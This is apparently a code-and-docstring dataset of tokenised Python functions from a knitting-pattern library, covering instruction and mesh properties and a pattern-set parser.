{"signature": "@property<EOL><INDENT>def colors(self):<DEDENT>", "body": "return [self.color]<EOL>", "docstring": "All the colors that an instruction has.\n\n        :return: a list of colors of the instruction. If the instruction has\n          no color, this is ``[None]``.\n        :rtype: list", "id": "f558:c0:m3"}
{"signature": "@property<EOL><INDENT>def description(self):<DEDENT>", "body": "return self.get(DESCRIPTION)<EOL>", "docstring": "The description of the instruction.\n\n        :return: the :data:`description <DESCRIPTION>` of the instruction or\n          :obj:`None` if none is specified.", "id": "f558:c0:m4"}
{"signature": "@property<EOL><INDENT>def number_of_consumed_meshes(self):<DEDENT>", "body": "return self.get(NUMBER_OF_CONSUMED_MESHES,<EOL>DEFAULT_NUMBER_OF_CONSUMED_MESHES)<EOL>", "docstring": "The number of meshes that this instruction consumes.\n\n        :return: the :data:`number of consumed meshes\n          <NUMBER_OF_CONSUMED_MESHES>` of the instruction or\n          :data:`DEFAULT_NUMBER_OF_CONSUMED_MESHES` if none is specified.", "id": "f558:c0:m5"}
{"signature": "@property<EOL><INDENT>def number_of_produced_meshes(self):<DEDENT>", "body": "return self.get(NUMBER_OF_PRODUCED_MESHES,<EOL>DEFAULT_NUMBER_OF_PRODUCED_MESHES)<EOL>", "docstring": "The number of meshes that this instruction produces.\n\n        :return: the :data:`number of produced meshes\n          <NUMBER_OF_PRODUCED_MESHES>` of the instruction or\n          :data:`DEFAULT_NUMBER_OF_PRODUCED_MESHES` if none is specified.", "id": "f558:c0:m6"}
{"signature": "def has_color(self):", "body": "return self.color is not None<EOL>", "docstring": "Whether this instruction has a color.\n\n        :return: whether a :data:`color <COLOR>` is specified\n        :rtype: bool", "id": "f558:c0:m7"}
{"signature": "def does_knit(self):", "body": "return self.type == KNIT_TYPE<EOL>", "docstring": "Whether this instruction is a knit instruction.\n\n        :return: whether this instruction is a knit instruction\n        :rtype: bool", "id": "f558:c0:m8"}
{"signature": "def does_purl(self):", "body": "return self.type == PURL_TYPE<EOL>", "docstring": "Whether this instruction is a purl instruction.\n\n        :return: whether this instruction is a purl instruction\n        :rtype: bool", "id": "f558:c0:m9"}
{"signature": "def produces_meshes(self):", "body": "return self.number_of_produced_meshes != <NUM_LIT:0><EOL>", "docstring": "Whether this institution produces meshes.\n\n        :return: whether this instruction produces any meshes\n        :rtype: bool\n\n        .. seealso:: :attr:`number_of_produced_meshes`", "id": "f558:c0:m10"}
{"signature": "def consumes_meshes(self):", "body": "return self.number_of_consumed_meshes != <NUM_LIT:0><EOL>", "docstring": "Whether this instruction consumes meshes.\n\n        :return: whether this instruction consumes any meshes\n        :rtype: bool\n\n        .. seealso:: :attr:`number_of_consumed_meshes`", "id": "f558:c0:m11"}
{"signature": "@property<EOL><INDENT>def render_z(self):<DEDENT>", "body": "return self.get(RENDER, {}).get(RENDER_Z, DEFAULT_Z)<EOL>", "docstring": "The z-index of the instruction when rendered.\n\n        :return: the z-index of the instruction. Instructions with a higher\n          z-index are displayed in front of instructions with lower z-index.\n        :rtype: float", "id": "f558:c0:m12"}
{"signature": "@property<EOL><INDENT>def hex_color(self):<DEDENT>", "body": "if self.has_color():<EOL><INDENT>return convert_color_to_rrggbb(self.color)<EOL><DEDENT>return None<EOL>", "docstring": "The color in \"#RRGGBB\" format.\n\n        :return: the :attr:`color` in \"#RRGGBB\" format or none if no color is\n          given", "id": "f558:c0:m13"}
{"signature": "def to_svg(self, converter=None):", "body": "if converter is None:<EOL><INDENT>from knittingpattern.convert.InstructionSVGCache importdefault_svg_cache<EOL>converter = default_svg_cache()<EOL><DEDENT>return converter.to_svg(self)<EOL>", "docstring": "Return a SVGDumper for this instruction.\n\n        :param converter: a :class:`\n          knittingpattern.convert.InstructionSVGCache.InstructionSVGCache` or\n          :obj:`None`. If :obj:`None` is given, the :func:`\n          knittingpattern.convert.InstructionSVGCache.default_svg_cache` is\n          used.\n        :rtype: knittingpattern.Dumper.SVGDumper", "id": "f558:c0:m14"}
{"signature": "def __init__(self, row, spec):", "body": "super().__init__(spec)<EOL>self._row = row<EOL>self._produced_meshes = [<EOL>self._new_produced_mesh(self, index)<EOL>for index in range(self.number_of_produced_meshes)<EOL>]<EOL>self._consumed_meshes = [<EOL>self._new_consumed_mesh(self, index)<EOL>for index in range(self.number_of_consumed_meshes)<EOL>]<EOL>self._cached_index_in_row = None<EOL>", "docstring": "Create a new instruction in a row with a specification.\n\n        :param knittingpattern.Row.Row row: the row the instruction is placed\n          in\n        :param spec: specification of the instruction", "id": "f558:c1:m0"}
{"signature": "def transfer_to_row(self, new_row):", "body": "if new_row != self._row:<EOL><INDENT>index = self.get_index_in_row()<EOL>if index is not None:<EOL><INDENT>self._row.instructions.pop(index)<EOL><DEDENT>self._row = new_row<EOL><DEDENT>", "docstring": "Transfer this instruction to a new row.\n\n        :param knittingpattern.Row.Row new_row: the new row the instruction is\n          in.", "id": "f558:c1:m1"}
{"signature": "@property<EOL><INDENT>def _new_produced_mesh(self):<DEDENT>", "body": "return ProducedMesh<EOL>", "docstring": ":return: the class of the produced meshes.", "id": "f558:c1:m2"}
{"signature": "@property<EOL><INDENT>def _new_consumed_mesh(self):<DEDENT>", "body": "return ConsumedMesh<EOL>", "docstring": ":return: the class of the consumed meshes.", "id": "f558:c1:m3"}
{"signature": "@property<EOL><INDENT>def row(self):<DEDENT>", "body": "return self._row<EOL>", "docstring": "The row this instruction is in.\n\n        :return: the row the instruction is placed in\n        :rtype: knittingpattern.Row.Row", "id": "f558:c1:m4"}
{"signature": "def is_in_row(self):", "body": "return self.get_index_in_row() is not None<EOL>", "docstring": "Whether the instruction can be found in its row.\n\n        :return: whether the instruction is in its row\n        :rtype: bool\n\n        Use this to avoid raising and :class:`InstructionNotFoundInRow`.", "id": "f558:c1:m5"}
{"signature": "def get_index_in_row(self):", "body": "expected_index = self._cached_index_in_row<EOL>instructions = self._row.instructions<EOL>if expected_index is not None and<NUM_LIT:0> <= expected_index < len(instructions) andinstructions[expected_index] is self:<EOL><INDENT>return expected_index<EOL><DEDENT>for index, instruction_in_row in enumerate(instructions):<EOL><INDENT>if instruction_in_row is self:<EOL><INDENT>self._cached_index_in_row = index<EOL>return index<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Index of the instruction in the instructions of the row or None.\n\n        :return: index in the :attr:`row`'s instructions or None, if the\n          instruction is not in the row\n        :rtype: int\n\n        .. seealso:: :attr:`row_instructions`, :attr:`index_in_row`,\n          :meth:`is_in_row`", "id": "f558:c1:m6"}
{"signature": "@property<EOL><INDENT>def index_in_row(self):<DEDENT>", "body": "index = self.get_index_in_row()<EOL>if index is None:<EOL><INDENT>self._raise_not_found_error()<EOL><DEDENT>return index<EOL>", "docstring": "Index of the instruction in the instructions of the row.\n\n        :return: index in the :attr:`row`'s instructions\n        :rtype: int\n        :raises knittingpattern.Instruction.InstructionNotFoundInRow:\n          if the instruction is not found at the index\n\n        .. code:: python\n\n            index = instruction.index_in_row\n            assert instruction.row.instructions[index] == instruction\n\n        .. seealso:: :attr:`row_instructions`, :meth:`get_index_in_row`,\n          :meth:`is_in_row`", "id": "f558:c1:m7"}
{"signature": "@property<EOL><INDENT>def row_instructions(self):<DEDENT>", "body": "return self.row.instructions<EOL>", "docstring": "Shortcut for ``instruction.row.instructions``.\n\n        :return: the instructions of the :attr:`row` the instruction is in\n\n        .. seealso:: :attr:`index_in_row`", "id": "f558:c1:m8"}
{"signature": "@property<EOL><INDENT>def next_instruction_in_row(self):<DEDENT>", "body": "index = self.index_in_row + <NUM_LIT:1><EOL>if index >= len(self.row_instructions):<EOL><INDENT>return None<EOL><DEDENT>return self.row_instructions[index]<EOL>", "docstring": "The instruction after this one or None.\n\n        :return: the instruction in :attr:`row_instructions` after this or\n          :obj:`None` if this is the last\n        :rtype: knittingpattern.Instruction.InstructionInRow\n\n        This can be used to traverse the instructions.\n\n        .. seealso:: :attr:`previous_instruction_in_row`", "id": "f558:c1:m9"}
{"signature": "@property<EOL><INDENT>def previous_instruction_in_row(self):<DEDENT>", "body": "index = self.index_in_row - <NUM_LIT:1><EOL>if index < <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>return self.row_instructions[index]<EOL>", "docstring": "The instruction before this one or None.\n\n        :return: the instruction in :attr:`row_instructions` before this or\n          :obj:`None` if this is the first\n        :rtype: knittingpattern.Instruction.InstructionInRow\n\n        This can be used to traverse the instructions.\n\n        .. seealso:: :attr:`next_instruction_in_row`", "id": "f558:c1:m10"}
{"signature": "@property<EOL><INDENT>def _instruction_not_found_message(self):<DEDENT>", "body": "return INSTRUCTION_NOT_FOUND_MESSAGE.format(<EOL>instruction=self, row=self.row<EOL>)<EOL>", "docstring": "The message for the error.\n\n        :return: an error message\n        :rtype: str\n\n        .. warning: private, do not use", "id": "f558:c1:m11"}
{"signature": "def _raise_not_found_error(self):", "body": "raise InstructionNotFoundInRow(self._instruction_not_found_message)<EOL>", "docstring": "Raise an error that this instruction is in its row no longer.\n\n        :raises knittingpattern.Instruction.InstructionNotFoundInRow:\n          the instruction was not found\n\n        .. warning: private, do not use", "id": "f558:c1:m12"}
{"signature": "@property<EOL><INDENT>def index_of_first_produced_mesh_in_row(self):<DEDENT>", "body": "index = <NUM_LIT:0><EOL>for instruction in self.row_instructions:<EOL><INDENT>if instruction is self:<EOL><INDENT>break<EOL><DEDENT>index += instruction.number_of_produced_meshes<EOL><DEDENT>else:<EOL><INDENT>self._raise_not_found_error()<EOL><DEDENT>return index<EOL>", "docstring": "Index of the first produced mesh in the row that consumes it.\n\n        :return: an index of the first produced mesh of rows produced meshes\n        :rtype: int\n\n        .. note:: If the instruction :meth:`produces meshes\n          <Instruction.produces_meshes>`, this is the index of the first\n          mesh the instruction produces in all the meshes of the row.\n          If the instruction does not produce meshes, the index of the mesh is\n          returned as if the instruction had produced a mesh.\n\n        .. code::\n\n            if instruction.produces_meshes():\n                index = instruction.index_of_first_produced_mesh_in_row", "id": "f558:c1:m13"}
{"signature": "@property<EOL><INDENT>def index_of_last_produced_mesh_in_row(self):<DEDENT>", "body": "index = self.index_of_first_produced_mesh_in_row<EOL>return index + self.number_of_produced_meshes - <NUM_LIT:1><EOL>", "docstring": "Index of the last mesh produced by this instruction in its row.\n\n        :return: an index of the last produced mesh of rows produced meshes\n        :rtype: int\n\n        .. note:: If this instruction :meth:`produces meshes\n          <Instruction.produces_meshes>`, this is the index of\n          its last produces mesh in the row. However, if this instruction does\n          not produce meshes, this is the index **before** the first mesh of\n          the instruction if it produced meshes.\n\n        .. seealso:: :attr:`index_of_first_produced_mesh_in_row`", "id": "f558:c1:m14"}
{"signature": "@property<EOL><INDENT>def index_of_first_consumed_mesh_in_row(self):<DEDENT>", "body": "index = <NUM_LIT:0><EOL>for instruction in self.row_instructions:<EOL><INDENT>if instruction is self:<EOL><INDENT>break<EOL><DEDENT>index += instruction.number_of_consumed_meshes<EOL><DEDENT>else:<EOL><INDENT>self._raise_not_found_error()<EOL><DEDENT>return index<EOL>", "docstring": "The index of the first consumed mesh of this instruction in its row.\n\n        Same as :attr:`index_of_first_produced_mesh_in_row`\n        but for consumed meshes.", "id": "f558:c1:m15"}
{"signature": "@property<EOL><INDENT>def index_of_last_consumed_mesh_in_row(self):<DEDENT>", "body": "index = self.index_of_first_consumed_mesh_in_row<EOL>return index + self.number_of_consumed_meshes - <NUM_LIT:1><EOL>", "docstring": "The index of the last consumed mesh of this instruction in its row.\n\n        Same as :attr:`index_of_last_produced_mesh_in_row`\n        but for the last consumed mesh.", "id": "f558:c1:m16"}
{"signature": "@property<EOL><INDENT>def produced_meshes(self):<DEDENT>", "body": "return self._produced_meshes<EOL>", "docstring": "The meshes produced by this instruction\n\n        :return: a :class:`list` of :class:`meshes\n          <knittingpattern.Mesh.Mesh>` that this instruction produces\n        :rtype: list\n\n        .. code:: python\n\n            assert len(inst.produced_meshes) == inst.number_of_produced_meshes\n            assert all(mesh.is_produced() for mesh in inst.produced_meshes)\n\n        .. seealso:: :attr:`consumed_meshes`, :attr:`consuming_instructions`", "id": "f558:c1:m17"}
{"signature": "@property<EOL><INDENT>def consumed_meshes(self):<DEDENT>", "body": "return self._consumed_meshes<EOL>", "docstring": "The meshes consumed by this instruction\n\n        :return: a :class:`list` of :class:`meshes\n          <knittingpattern.Mesh.Mesh>` that this instruction consumes\n        :rtype: list\n\n        .. code:: python\n\n            assert len(inst.consumed_meshes) == inst.number_of_consumed_meshes\n            assert all(mesh.is_consumed() for mesh in inst.consumed_meshes)\n\n        .. seealso:: :attr:`produced_meshes`, :attr:`producing_instructions`", "id": "f558:c1:m18"}
{"signature": "def __repr__(self):", "body": "index = self.get_index_in_row()<EOL>if index is None:<EOL><INDENT>position = \"<STR_LIT>\".format(self.row)<EOL><DEDENT>else:<EOL><INDENT>position = \"<STR_LIT>\".format(self.row, index)<EOL><DEDENT>return \"<STR_LIT>\".format(<EOL>self.__class__.__name__,<EOL>(\"<STR_LIT>\".format(self.id) if self.id is not None else \"<STR_LIT>\"),<EOL>self.type,<EOL>position<EOL>)<EOL>", "docstring": ":obj:`repr(instruction) <repr>` used for :func:`print`.\n\n        :return: the string representation of this object\n        :rtype: str", "id": "f558:c1:m19"}
{"signature": "@property<EOL><INDENT>def producing_instructions(self):<DEDENT>", "body": "return [(mesh.producing_instruction if mesh.is_produced() else None)<EOL>for mesh in self.consumed_meshes]<EOL>", "docstring": "Instructions that produce the meshes that this instruction consumes.\n\n        :return: a list of :class:`instructions\n          <knittingpattern.Instruction.InstructionInRow>`\n        :rtype: list\n\n        .. seealso:: :attr:`consuming_instructions`, :attr:`consumed_meshes`", "id": "f558:c1:m20"}
{"signature": "@property<EOL><INDENT>def consuming_instructions(self):<DEDENT>", "body": "return [(mesh.consuming_instruction if mesh.is_consumed() else None)<EOL>for mesh in self.produced_meshes]<EOL>", "docstring": "Instructions that consume the meshes that this instruction produces.\n\n        :return: a list of :class:`instructions\n          <knittingpattern.Instruction.InstructionInRow>`\n        :rtype: list\n\n        .. seealso:: :attr:`producing_instructions`, :attr:`produced_meshes`", "id": "f558:c1:m21"}
{"signature": "@property<EOL><INDENT>def color(self):<DEDENT>", "body": "return self.get(COLOR, self.row.color)<EOL>", "docstring": "The color of the instruction.\n\n        :return: the :data:`color <COLOR>` of the instruction or\n          :obj:`None` if none is specified.\n\n        If no color is specified in the instruction, it is inherited form the\n        row.", "id": "f558:c1:m22"}
{"signature": "@property<EOL><INDENT>def last_produced_mesh(self):<DEDENT>", "body": "return self._produced_meshes[-<NUM_LIT:1>]<EOL>", "docstring": "The last produced mesh.\n\n        :return: the last produced mesh\n        :rtype: knittingpattern.Mesh.Mesh\n        :raises IndexError: if no mesh is produced\n\n        .. seealso:: :attr:`Instruction.number_of_produced_meshes`", "id": "f558:c1:m23"}
{"signature": "@property<EOL><INDENT>def last_consumed_mesh(self):<DEDENT>", "body": "return self._consumed_meshes[-<NUM_LIT:1>]<EOL>", "docstring": "The last consumed mesh.\n\n        :return: the last consumed mesh\n        :rtype: knittingpattern.Mesh.Mesh\n        :raises IndexError: if no mesh is consumed\n\n        .. seealso:: :attr:`Instruction.number_of_consumed_meshes`", "id": "f558:c1:m24"}
{"signature": "@property<EOL><INDENT>def first_produced_mesh(self):<DEDENT>", "body": "return self._produced_meshes[<NUM_LIT:0>]<EOL>", "docstring": "The first produced mesh.\n\n        :return: the first produced mesh\n        :rtype: knittingpattern.Mesh.Mesh\n        :raises IndexError: if no mesh is produced\n\n        .. seealso:: :attr:`Instruction.number_of_produced_meshes`", "id": "f558:c1:m25"}
{"signature": "@property<EOL><INDENT>def first_consumed_mesh(self):<DEDENT>", "body": "return self._consumed_meshes[<NUM_LIT:0>]<EOL>", "docstring": "The first consumed mesh.\n\n        :return: the first consumed mesh\n        :rtype: knittingpattern.Mesh.Mesh\n        :raises IndexError: if no mesh is consumed\n\n        .. seealso:: :attr:`Instruction.number_of_consumed_meshes`", "id": "f558:c1:m26"}
{"signature": "def unique(iterables):", "body": "included_elements = set()<EOL>def included(element):<EOL><INDENT>result = element in included_elements<EOL>included_elements.add(element)<EOL>return result<EOL><DEDENT>return [element for elements in iterables for element in elements<EOL>if not included(element)]<EOL>", "docstring": "Create an iterable from the iterables that contains each element once.\n\n    :return: an iterable over the iterables. Each element of the result\n      appeared only once in the result. They are ordered by the first\n      occurrence in the iterables.", "id": "f559:m0"}
{"signature": "def default_parser():", "body": "from .ParsingSpecification import DefaultSpecification<EOL>specification = DefaultSpecification()<EOL>return Parser(specification)<EOL>", "docstring": "The parser with a default specification.\n\n    :return: a parser using a\n      :class:`knittingpattern.ParsingSpecification.DefaultSpecification`\n    :rtype: knittingpattern.Parser.Parser", "id": "f560:m0"}
{"signature": "def __init__(self, specification):", "body": "self._spec = specification<EOL>self._start()<EOL>", "docstring": "Create a parser with a specification.\n\n        :param specification: the types and classes to use for the resulting\n          object structure, preferably a\n          :class:`knittingpattern.ParsingSpecification.ParsingSpecification`", "id": "f560:c1:m0"}
{"signature": "def _start(self):", "body": "self._instruction_library = self._spec.new_default_instructions()<EOL>self._as_instruction = self._instruction_library.as_instruction<EOL>self._id_cache = {}<EOL>self._pattern_set = None<EOL>self._inheritance_todos = []<EOL>self._instruction_todos = []<EOL>", "docstring": "Initialize the parsing process.", "id": "f560:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _to_id(id_):<DEDENT>", "body": "return tuple(id_) if isinstance(id_, list) else id_<EOL>", "docstring": "Converts the argument to a object suitable as an identifier.\n\n        :return: a hashable object", "id": "f560:c1:m2"}
{"signature": "def _error(self, text):", "body": "raise self._spec.new_parsing_error(text)<EOL>", "docstring": "Raise an error.\n\n        :raises: a specified ParsingError\n        :param str text: the text to include in the error message", "id": "f560:c1:m3"}
{"signature": "def knitting_pattern_set(self, values):", "body": "self._start()<EOL>pattern_collection = self._new_pattern_collection()<EOL>self._fill_pattern_collection(pattern_collection, values)<EOL>self._create_pattern_set(pattern_collection, values)<EOL>return self._pattern_set<EOL>", "docstring": "Parse a knitting pattern set.\n\n        :param dict value: the specification of the knitting pattern set\n        :rtype: knittingpattern.KnittingPatternSet.KnittingPatternSet\n        :raises knittingpattern.KnittingPatternSet.ParsingError: if\n          :paramref:`value` does not fulfill the :ref:`specification\n          <FileFormatSpecification>`.", "id": "f560:c1:m4"}
{"signature": "def _finish_inheritance(self):", "body": "while self._inheritance_todos:<EOL><INDENT>prototype, parent_id = self._inheritance_todos.pop()<EOL>parent = self._id_cache[parent_id]<EOL>prototype.inherit_from(parent)<EOL><DEDENT>", "docstring": "Finish those who still need to inherit.", "id": "f560:c1:m5"}
{"signature": "def _delay_inheritance(self, prototype, parent_id):", "body": "self._inheritance_todos.append((prototype, parent_id))<EOL>", "docstring": "Add a deleyed inheritance that is ti be resolved later.\n\n        When calling :meth:`_finish_inheritance` this inheritance chain shall\n        be resolved.", "id": "f560:c1:m6"}
{"signature": "def _finish_instructions(self):", "body": "while self._instruction_todos:<EOL><INDENT>row = self._instruction_todos.pop()<EOL>instructions = row.get(INSTRUCTIONS, [])<EOL>row.instructions.extend(instructions)<EOL><DEDENT>", "docstring": "Finish those who still need to inherit.", "id": "f560:c1:m7"}
{"signature": "def _delay_instructions(self, row):", "body": "self._instruction_todos.append(row)<EOL>", "docstring": "Add a deleyed inheritance that is ti be resolved later.\n\n        When calling :meth:`_finish_instructions` this inheritance chain shall\n        be resolved.", "id": "f560:c1:m8"}
{"signature": "def _new_pattern_collection(self):", "body": "return self._spec.new_pattern_collection()<EOL>", "docstring": "Create a new pattern collection.\n\n        :return: a new specified pattern collection for\n          :meth:`knitting_pattern_set`", "id": "f560:c1:m9"}
{"signature": "def new_row_collection(self):", "body": "return self._spec.new_row_collection()<EOL>", "docstring": "Create a new row collection.\n\n        :return: a new specified row collection for the\n          :meth:`knitting pattern <new_pattern>`", "id": "f560:c1:m10"}
{"signature": "def _fill_pattern_collection(self, pattern_collection, values):", "body": "pattern = values.get(PATTERNS, [])<EOL>for pattern_to_parse in pattern:<EOL><INDENT>parsed_pattern = self._pattern(pattern_to_parse)<EOL>pattern_collection.append(parsed_pattern)<EOL><DEDENT>", "docstring": "Fill a pattern collection.", "id": "f560:c1:m11"}
{"signature": "def _row(self, values):", "body": "row_id = self._to_id(values[ID])<EOL>row = self._spec.new_row(row_id, values, self)<EOL>if SAME_AS in values:<EOL><INDENT>self._delay_inheritance(row, self._to_id(values[SAME_AS]))<EOL><DEDENT>self._delay_instructions(row)<EOL>self._id_cache[row_id] = row<EOL>return row<EOL>", "docstring": "Parse a row.", "id": "f560:c1:m12"}
{"signature": "def new_row(self, id_):", "body": "return self._spec.new_row(id_, {}, self)<EOL>", "docstring": "Create a new row with an id.\n\n        :param id_: the id of the row\n        :return: a row\n        :rtype: knittingpattern.Row.Row", "id": "f560:c1:m13"}
{"signature": "def instruction_in_row(self, row, specification):", "body": "whole_instruction_ = self._as_instruction(specification)<EOL>return self._spec.new_instruction_in_row(row, whole_instruction_)<EOL>", "docstring": "Parse an instruction.\n\n        :param row: the row of the instruction\n        :param specification: the specification of the instruction\n        :return: the instruction in the row", "id": "f560:c1:m14"}
{"signature": "def _pattern(self, base):", "body": "rows = self._rows(base.get(ROWS, []))<EOL>self._finish_inheritance()<EOL>self._finish_instructions()<EOL>self._connect_rows(base.get(CONNECTIONS, []))<EOL>id_ = self._to_id(base[ID])<EOL>name = base[NAME]<EOL>return self.new_pattern(id_, name, rows)<EOL>", "docstring": "Parse a pattern.", "id": "f560:c1:m15"}
{"signature": "def new_pattern(self, id_, name, rows=None):", "body": "if rows is None:<EOL><INDENT>rows = self.new_row_collection()<EOL><DEDENT>return self._spec.new_pattern(id_, name, rows, self)<EOL>", "docstring": "Create a new knitting pattern.\n\n        If rows is :obj:`None` it is replaced with the\n        :meth:`new_row_collection`.", "id": "f560:c1:m16"}
{"signature": "def _rows(self, spec):", "body": "rows = self.new_row_collection()<EOL>for row in spec:<EOL><INDENT>rows.append(self._row(row))<EOL><DEDENT>return rows<EOL>", "docstring": "Parse a collection of rows.", "id": "f560:c1:m17"}
{"signature": "def _connect_rows(self, connections):", "body": "for connection in connections:<EOL><INDENT>from_row_id = self._to_id(connection[FROM][ID])<EOL>from_row = self._id_cache[from_row_id]<EOL>from_row_start_index = connection[FROM].get(START, DEFAULT_START)<EOL>from_row_number_of_possible_meshes =from_row.number_of_produced_meshes - from_row_start_index<EOL>to_row_id = self._to_id(connection[TO][ID])<EOL>to_row = self._id_cache[to_row_id]<EOL>to_row_start_index = connection[TO].get(START, DEFAULT_START)<EOL>to_row_number_of_possible_meshes =to_row.number_of_consumed_meshes - to_row_start_index<EOL>meshes = min(from_row_number_of_possible_meshes,<EOL>to_row_number_of_possible_meshes)<EOL>number_of_meshes = connection.get(MESHES, meshes)<EOL>from_row_stop_index = from_row_start_index + number_of_meshes<EOL>to_row_stop_index = to_row_start_index + number_of_meshes<EOL>assert <NUM_LIT:0> <= from_row_start_index <= from_row_stop_index<EOL>produced_meshes = from_row.produced_meshes[<EOL>from_row_start_index:from_row_stop_index]<EOL>assert <NUM_LIT:0> <= to_row_start_index <= to_row_stop_index<EOL>consumed_meshes = to_row.consumed_meshes[<EOL>to_row_start_index:to_row_stop_index]<EOL>assert len(produced_meshes) == len(consumed_meshes)<EOL>mesh_pairs = zip(produced_meshes, consumed_meshes)<EOL>for produced_mesh, consumed_mesh in mesh_pairs:<EOL><INDENT>produced_mesh.connect_to(consumed_mesh)<EOL><DEDENT><DEDENT>", "docstring": "Connect the parsed rows.", "id": "f560:c1:m18"}
{"signature": "def _get_type(self, values):", "body": "if TYPE not in values:<EOL><INDENT>self._error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(KNITTING_PATTERN_TYPE))<EOL><DEDENT>type_ = values[TYPE]<EOL>if type_ != KNITTING_PATTERN_TYPE:<EOL><INDENT>self._error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(type_, KNITTING_PATTERN_TYPE))<EOL><DEDENT>return type_<EOL>", "docstring": ":return: the type of a knitting pattern set.", "id": "f560:c1:m19"}
{"signature": "def _get_version(self, values):", "body": "return values[VERSION]<EOL>", "docstring": ":return: the version of :paramref:`values`.", "id": "f560:c1:m20"}
{"signature": "def _create_pattern_set(self, pattern, values):", "body": "type_ = self._get_type(values)<EOL>version = self._get_version(values)<EOL>comment = values.get(COMMENT)<EOL>self._pattern_set = self._spec.new_pattern_set(<EOL>type_, version, pattern, self, comment<EOL>)<EOL>", "docstring": "Create a new pattern set.", "id": "f560:c1:m21"}
{"signature": "@abstractmethod<EOL><INDENT>def _producing_instruction_and_index(self):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def _producing_row_and_index(self):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def _consuming_instruction_and_index(self):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def _consuming_row_and_index(self):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def _is_produced(self):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def _is_consumed(self):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def _is_consumed_mesh(self):<DEDENT>", "body": "", "docstring": "Replace this method.\n\n        :return: whether this mesh is an instance of a ConsumedMesh.", "id": "f561:c0:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def _disconnect(self):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m7"}
{"signature": "@abstractmethod<EOL><INDENT>def _connect_to(self, other_mesh):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m8"}
{"signature": "@abstractmethod<EOL><INDENT>def _as_produced_mesh(self):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m9"}
{"signature": "@abstractmethod<EOL><INDENT>def _as_consumed_mesh(self):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m10"}
{"signature": "@abstractmethod<EOL><INDENT>def _is_connected_to(self, other_mesh):<DEDENT>", "body": "", "docstring": "Replace this method.", "id": "f561:c0:m11"}
{"signature": "def is_produced(self):", "body": "return self._is_produced()<EOL>", "docstring": "Whether the mesh has an instruction that produces it.\n\n        :return: whether the mesh is produced by an instruction\n        :rtype: bool\n\n        If you get this mesh from\n        :attr:`knittingpattern.Instruction.InstructionInRow.produced_meshes` or\n        :attr:`knittingpattern.Row.Row.produced_meshes`,\n        this should be :obj:`True`.\n\n        .. warning:: Before you use any methods on how the mesh is produced,\n          you should check with ``mesh.is_produced()``.", "id": "f561:c0:m14"}
{"signature": "def is_consumed(self):", "body": "return self._is_consumed()<EOL>", "docstring": "Whether the mesh has an instruction that consumed it.\n\n        :return: whether the mesh is consumed by an instruction\n        :rtype: bool\n\n        If you get this mesh from\n        :attr:`knittingpattern.Instruction.InstructionInRow.consumed_meshes` or\n        :attr:`knittingpattern.Row.Row.consumed_meshes`,\n        this should be :obj:`True`.\n\n        .. warning:: Before you use any methods on how the mesh is consumed,\n          you should check with ``mesh.is_consumed()``.", "id": "f561:c0:m15"}
{"signature": "@property<EOL><INDENT>def index_in_producing_instruction(self):<DEDENT>", "body": "self._assert_is_produced()<EOL>return self._producing_instruction_and_index()[<NUM_LIT:1>]<EOL>", "docstring": "Index in instruction as a produced mesh.\n\n        :return: the index of the mesh in the list of meshes that\n          :attr:`producing_instruction` produces\n        :rtype: int\n\n        .. code:: python\n\n            instruction = mesh.producing_instruction\n            index = mesh.index_in_producing_instruction\n            assert instruction.produced_meshes[index] == mesh\n\n        .. seealso:: :attr:`producing_instruction`,\n          :attr:`index_in_consuming_instruction`\n\n        .. warning:: Check with :meth:`is_produced` before!", "id": "f561:c0:m16"}
{"signature": "@property<EOL><INDENT>def producing_instruction(self):<DEDENT>", "body": "self._assert_is_produced()<EOL>return self._producing_instruction_and_index()[<NUM_LIT:0>]<EOL>", "docstring": "Instruction which produces this mesh.\n\n        :return: the instruction that produces this mesh\n        :rtype: knittingpattern.Instruction.InstructionInRow\n\n        .. seealso:: :attr:`index_in_producing_instruction`,\n          :attr:`producing_row`, :attr:`consuming_row`\n\n        .. warning:: Check with :meth:`is_produced` before!", "id": "f561:c0:m17"}
{"signature": "@property<EOL><INDENT>def producing_row(self):<DEDENT>", "body": "self._assert_is_produced()<EOL>return self._producing_row_and_index()[<NUM_LIT:0>]<EOL>", "docstring": "Row which produces this mesh.\n\n        :return: the row of the instruction that produces this mesh\n        :rtype: knittingpattern.Row.Row\n\n        .. seealso:: :attr:`index_in_producing_row`,\n          :attr:`producing_instruction`, :attr:`consuming_row`\n\n        .. warning:: Check with :meth:`is_produced` before!", "id": "f561:c0:m18"}
{"signature": "@property<EOL><INDENT>def index_in_producing_row(self):<DEDENT>", "body": "self._assert_is_produced()<EOL>return self._producing_row_and_index()[<NUM_LIT:1>]<EOL>", "docstring": "Index in row as produced mesh.\n\n        :return: the index of the mesh in the :attr:`producing_row`\n        :rtype: int\n\n        .. code:: python\n\n            row = mesh.producing_row\n            index = mesh.index_in_producing_row\n            assert row[index] == mesh\n\n        .. seealso:: :attr:`producing_row`, :attr:`index_in_consuming_row`\n\n        .. warning:: Check with :meth:`is_produced` before!", "id": "f561:c0:m19"}
